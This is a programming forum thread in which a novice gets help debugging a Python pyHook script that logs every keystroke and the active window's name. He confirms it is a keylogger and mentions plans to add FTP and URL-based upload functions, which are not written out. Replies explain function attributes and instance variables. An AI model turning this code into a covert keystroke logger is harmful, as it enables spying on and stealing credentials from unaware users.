1,105,399 Community Members

Detect variable change

Member Avatar
Fyrox
Newbie Poster
6 posts since Sep 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Hi, I'm trying to code a little Python script using the PyHook library. My script prints in the program every key pressed by the user, and the name of the window where he did it.

But what I want for the program to do is to print the name of the window one time, all the keys pressed on it and only write the name of the window again if it changes. Here is the actual code:

import pythoncom, pyHook

def stroke(event):
    print event.WindowName
    print event.Key

ph = pyHook.HookManager()
ph.KeyDown = stroke
ph.HookKeyboard()
pythoncom.PumpMessages()

Thanks in advance and please excuse my limited english.

Fyrox

Member Avatar
pyTony
pyMod
6,103 posts since Apr 2010
Reputation Points: 818 [?]
Q&As Helped to Solve: 1,056 [?]
Skill Endorsements: 42 [?]
Moderator
Featured
 
0
 

Don't use the libraries, so can not test, but something similar to this, maybe:

import pythoncom, pyHook

def stroke(event):
    if event.WindowName != stroke.current_window:
         print event.WindowName
         stroke.current_window = event.WindowName
    print event.Key
stroke.current_window = None

ph = pyHook.HookManager()
ph.KeyDown = stroke
ph.HookKeyboard()
pythoncom.PumpMessages()
Member Avatar
Fyrox
Newbie Poster
6 posts since Sep 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Works great! Thanks a lot :) Now just out of curiosity, how does it works?

Member Avatar
pyTony
pyMod
6,103 posts since Apr 2010
Reputation Points: 818 [?]
Q&As Helped to Solve: 1,056 [?]
Skill Endorsements: 42 [?]
Moderator
Featured
 
0
 

As functions are objects which can have attributes in them, we use one as static value, first initializing it to None. Global variables are considered ugly, though you could use them by using global keyword and this gives kind of "half Object Oriented version" (using objects but not writing classes ourself). Alternative would be to give stroke an extra key parameter which would remember the static value, see http://www.daniweb.com/software-development/python/code/366669

Member Avatar
pyguy62
Posting Whiz
346 posts since Aug 2011
Reputation Points: 23 [?]
Q&As Helped to Solve: 19 [?]
Skill Endorsements: 0 [?]
 
0
 

looks like someboy's tryin' to make a keylogger :icon_wink:

Member Avatar
Fyrox
Newbie Poster
6 posts since Sep 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Well, yes, but it's just for learning about pyHook library and things i've never used in Python, such as ftplib, urllib or working with files. Also trying to learn more about classes, I don't care about my friends Facebook ._.

Member Avatar
Fyrox
Newbie Poster
6 posts since Sep 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Just expanded the script and I get an error in the stroke function again. Don't know very well how to use classes so couldn't fix it. Here's the new code:

import pythoncom, pyHook, sys, urllib, datetime

def static_vars(**kwargs):
	"""Decorator for creating function object attributes"""
	def T(f):
		f.__dict__.update(kwargs)
		return f
	return T

class Kaley:
    def getIP(self):
        url = urllib.URLopener()
        resp = url.open("http://automation.whatismyip.com/n09230945.asp")
        html = resp.read(114)
        return html

    def getDate(self):
        now = datetime.datetime.now()
        return now.strftime("%Y-%m-%d")
    
    @static_vars(current_window = None)
    def stroke(self, event):
        if event.WindowName != self.stroke.current_window:
            print event.WindowName
            self.stroke.current_window = event.WindowName
            
        if event.Ascii == 32 or event.Ascii == 9:
            print " ",
        elif event.Ascii == 13:
            print ""
        else:
            sys.stdout.write(event.Key)
            

log = Kaley()
ph = pyHook.HookManager()
ph.KeyDown = log.stroke
ph.HookKeyboard()
pythoncom.PumpMessages()        
start = Kaley()

getDate and getIP are for a future function that I will create when I finish with stroke so don't worry about them right now. Thanks.

Member Avatar
pyguy62
Posting Whiz
346 posts since Aug 2011
Reputation Points: 23 [?]
Q&As Helped to Solve: 19 [?]
Skill Endorsements: 0 [?]
 
0
 

I haven't used pyhook, but what's the error?

Member Avatar
Fyrox
Newbie Poster
6 posts since Sep 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Well, I think it's more a variable error than a pyHook error, but here it is:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in Keybo
ardSwitch
    return func(event)
  File "C:\Users\MyUser\Desktop\Kaley.py", line 25, in stroke
    self.stroke.current_window = event.WindowName
AttributeError: 'instancemethod' object has no attribute 'current_window'
Member Avatar
pyTony
pyMod
6,103 posts since Apr 2010
Reputation Points: 818 [?]
Q&As Helped to Solve: 1,056 [?]
Skill Endorsements: 42 [?]
Moderator
Featured
 
0
 

You have the decorator or class not both. Decorator access variable as local variable ie

current_window

. As you have class you should store it as instance variable self.current_window initialized in __init__ function and take out the decorator stuff.

Member Avatar
pyguy62
Posting Whiz
346 posts since Aug 2011
Reputation Points: 23 [?]
Q&As Helped to Solve: 19 [?]
Skill Endorsements: 0 [?]
 
0
 

Well it looks like some of the code the error is referring to isn't here, however it could be if event.WindowName != self.stroke.current_window: and before that I don't see self.stroke.current_window defined at all, so it's plausible that there's nothing to check it against so it's throwing the attribute error "because the attribute does not yet exist". Not positive, but it would be the first thing I would check.

Member Avatar
Fyrox
Newbie Poster
6 posts since Sep 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

WoW, Thanks a lot again pyTony, you're a Python master! And sorry for asking too much, I started learning Python 2 weeks ago, so I haven't controlled it yet :/

EDIT: pyguy answered while I was writing. Thanks too!

You
This article has been dead for over three months: Start a new discussion instead
Post:
Start New Discussion
View similar articles that have also been tagged: